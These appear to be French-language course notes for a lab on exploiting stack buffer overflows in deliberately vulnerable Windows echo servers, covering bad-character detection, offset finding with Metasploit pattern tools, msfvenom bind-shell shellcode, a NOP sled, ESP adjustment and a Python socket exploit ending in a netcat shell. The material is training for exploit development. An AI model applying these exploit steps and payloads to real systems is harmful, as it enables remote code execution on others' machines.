Bad characters
Bad characters
 Un mauvais caractère est simplement une liste de caractères indésirables qui peuvent
casser les codes shell. Il n'y a pas d'ensemble universel de mauvais caractères, comme
nous commencerions probablement à le comprendre, mais en fonction de l'application
et de la logique du développeur, il existe un ensemble différent de mauvais caractères
pour chaque programme que nous rencontrerions. Par conséquent, nous devrons
trouver les mauvais caractères dans chaque application avant d'écrire le code
shellDans le monde réel, les entrées transmises à un programme sont filtrées
 Les délimiteurs d’entrées
 Exp 0x00 pour les string
 Exp 0x0a 0x0d pour les HTTP Header Fields
 sera spécifique à l'application et à la logique du développeur
Pourquoi cela devrait-il nous déranger
?
 si notre shellcode contient un (des) mauvais caractère (s) alors il cassera
l'exploit.
 Quelle est la fréquence des mauvais personnages?
 Très élevée !!!
 Pour illustrer la problématique des bad charactères nous allons utilisé le programme
Echo-Server-Bad-Char-Special.exe
 Ouvrez votre fichier dans immunity
 ce programme prend une liste de bad charactère comme entrée
 Aller sur debug  arguments
 On va introduire 02 bad caracteres
 0xaa,0xdd
 Cliquer sur OK immunity va vous demander de redemarrer le prog
 Debug -> restart -> yes
 Vous remarquerez que le code est assez simple et tres ressemblant aux programmes
précédents
 Lancer le programme
 Aller sur kali, ouvrer votre terminal
 Vim exploitbad.py
 #!/usr/bin/python
 Import socket, sys
 Sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 Sock.connect ((sys.argv[1], 9000))
 Buffer = « A »*1400
 Sock.send(buffer)
 Print sock.recv(4000)
 Sock.close()
 Enregistrer fermer
 ./exploit.py @ipSRV
 Revenez vers le serveur et vous remarquerez qu’il vient de cracher 41414141la pile
est saturée de A
 On relance le serveur dans immunity et on revient vers notre exploitqu’on modifie
comme suit
 Buffer = « A »*1100
 Buffer += « B »*400
 Lancer votre exploit ./exploit.py @IP
 Nous aurons un autre crache on parcour la pile et on a les A suivi par les B
 Récuperer le script badchar.py
 Chmod a+x badchar.py puis on l’execute
 Copier le résultat et insérer dans votre exploit entre les deux affectations du buffer
 Buffer+= « coller le resultat
 Aller vers debug-> argument et supprimer les arguments de telle manière qu’il n’ y ait
plus de bad char dans le prog
 Relancer le tout le prog se crache nous avons les A dans la pile ensuite notre sequence
et les B
 Vous remarquerez que nous avons tout types de char dans notre shell code notamment
des delimiteurs etc…
 On remet nos bad caracteres 0xaa,0xdd.
 On relance le programme on a un crash on parcours la pile on a les A par la suite on a
notre séquence mais à la ligne 0022FDD4 on remarque que nous avons 0000A9A8 le Aa
a été tout simplement tronqué. Imaginé si c’etaot un shellcode et qu’il a été tronqué de
cette manière
 Maintenant il s’agit de savoir ou exactement cette operation de coupure a eu lieu
 On revient vers kali et on supprime notre 0xaa de la chaine de car
 On relance le prog et on remarqie qu’il se crache tjr à la verification de la pile on
remarqie à la l’@ 0022FE08 que ça a été encore tronqué au niveau du dd
 O revient vers kali on supprime le dd et on relance
 la on remarque que le prog se crache mais on retrouve toute la chaine dans la pile
Correction du homework
 Decompressez le fichier echo-Server-Memcpy-V3
 Ouvrez le fichier dans immunity
 Vous remarquerez que le code source est presque similaire à ceux qu’on a déjà vu
 Mettez un break point à l’instruction 00401521
 Lancer l’execution
 Basculer vers kali, cp exploit.py SRV3.py
 Vim srv3.py
 Supprimer toutes les affectations du buffer et mettre buffer = « A »*3036
 Enregistrer les modifications et quitter
 Lancer votre programme ./srv3.py @IP
 Basculez vers windows vous remarquerez que la pile est saturée avec des A
 Continuer l’execution pas à pas jusqu’au RETN 0040158A, vous remarquerez que la
pile est saturée de X !!!!
 Pour analyser les choses on va redemarrer le programme
 Lancer l’execution
 Revenez vers Kali, ouvrez un nouvel onglet
 Cd /usr/share/metasploit-framework/tools/exploit/
 ./pattern_create.rb –l 2000
 Copier le pattern généré et revenez vers votre programme pour faire la modification
suivante buffer = « le pattern »
 Enregistrer quitter executer
 Revenez vers immunity et lancer l’exec pas à pas à l’instruction 0040157E on
remarque que notre pattern est dans la pile
 Au RETN on remaqrue que la valeur de l@ de retours est 69423569
 Revenez vers KALI, ./pattern_offset.rb –l2000 –q 69423569
 On obtient 1036
 Revenez vers immunity, dans l’es exmples précédents on pouvait réecrire les
adresses de retours au 0022F72C et on pouvait mettre notre shell code juste apres
cependant maintenant on ne peut plus accéder aux valeurs transmises au 0022F740
car elles sont écrasées par des XXX
 Revenons vers immunity relançons le serveurs
 Lancer l’exec jusqu’au breakpoint
 On revient vers notre fichier vim SRV3.py on supprime les affectations vers le buffer
 on revient vers le second onglet msfvenom –p windows/shell_bind_tcp –a x86 –f c
 Copier votre exploit et revenez vers le prog
 Shellcode =(blabla)
 Buffer = « \x90 »*40
 Buffer += shellcode
 Buffer += « \x90 »*(1036 -40 –len(shellcode))
 Buffer +=
 Pour connaitre la valeur comment faire ??
 On va faire cracher le prog
 Buffer += « AAAA » enregistrer quitter et executer dans immuniter lancer play et observer
la pile
 On remarque les nop le shellcode entre les deux blocs de nop
 On peut choisir n’importe quelle adresse du premier bloc de nop comme adresse de
retours par exp 0022F334
 On revient vers kali et on remplace buffer+=‘AAAA’ par buffer += « \x34\xF3\x22\x00 »
 Relancer le prog et faites un test
 On fait une exec pas à pas jusqu’au RETN 0040158A
 Vous remarquerez que l’@ de retours est la bonne 0022F334 click droit sur @ de
retours – follow in dump, dans la fenetre hexdump on verra les NOP, le chellcode et
les nop
 Au premier nop clik droit breakpoint hardware, on execution
 Play on est au debut des NOP
 Play et là qccess violation !!!!! (video Min 14:03)
 Pourquoi est ce arrivé ??!!!!
 Vous avez trois minutes pour y réfléchir
 Restart dans immunity
 Kali relancer le payload
 On execute pas à pas jusqu’au RETN
 Une fois arrivé aux NOP et on identifie la premiere instruction 0022F349
 On copie notre shellcode et on le cole dans un notepad
 On fait play il s’arrete au breakpoint
 Un autre play et nous avons un crash
 On revient vers notepad et on cherche l’@ de la premiere instruction 0022F349 on
revient vers immunity et on recherche l’instruction ayant cette adresse
 Pour cela dans hexdump bouton droit sur premiere adresse goto expression et on
tape 0022F349 si on compare avec le document notepad on remarque que le
programme a complètement changé
 Dans immunity on va vers l’instruction 0022F345
 On va soustraire 3000 de la valeur de ESP, c’est largement suffisant
 Click droit sur l’instruction – assemble remplacer l’instruction par sub esp, 3000
 Le code de l’instruction assemblé est 81EC 00300000
 On revient vers kali
 Vim SRV3.py
 Apres le shellcode et avant le buffer =« \x90 »*40 inserer
 Esp_adjust=« \x 81 \x EC \x 00 \x 30 \x 00 \x 00 »
 Apres l’affectation des prmiers nop mettre
 Byffer+= esp_adjust
 Ensuite Buffer += « \x90 »*(1036 -40 –len(shellcode) – len(esp_adjust))
 Maintenant modifier l’adresse de retours buffer +=« \x30…. Pour pointer vers le nop
 Enregistrer et quitter
 Sur immunity restart play lancer l’exploit ensui te pas à pas
 Ensuite nc @IP 4444 on est dans la machine